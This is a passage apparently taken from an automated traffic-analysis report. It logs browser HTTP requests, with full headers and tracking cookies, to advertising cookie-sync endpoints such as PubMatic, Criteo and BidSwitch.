KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%
Source: global traffic	HTTP traffic detected: GET /i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1Host: a.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233 HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=17
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=40f09b66-e671-4da3-b991-c14247c4cce6&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID} HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C17057088
Source: global traffic	HTTP traffic detected: GET /user-sync/match?p=&u=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1Host: ssp-sync.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=968062845637553879 HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPu
Source: global traffic	HTTP traffic detected: GET /cookiesync?gdpr=0&gdpr_consent= HTTP/1.1Host: core.iprom.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=317&user_id=f6beb7e1aec6bddd3dcac63f054c7ac0&expires=30&ssp=pubmatic&bsw_param=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1Host: x.bidswitch.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239
Source: global traffic	HTTP traffic detected: GET /?pubid=11331&redirect=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzImdGw9MTI5NjAw&piggybackCookie={viewer_token} HTTP/1.1Host: csync.loopme.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: viewer_token=c250b6eb-10fb-4071-a401-07c4929b89a6
Source: global traffic	HTTP traffic detected: GET /sync/img?mt_exid=3&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA%3D%3D%26piggybackCookie%3Duid%3A%5BMM_UUID%5D HTTP/1.1Host: sync.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid=d579659f-27da-4200-92f9-660cb89fa4ac
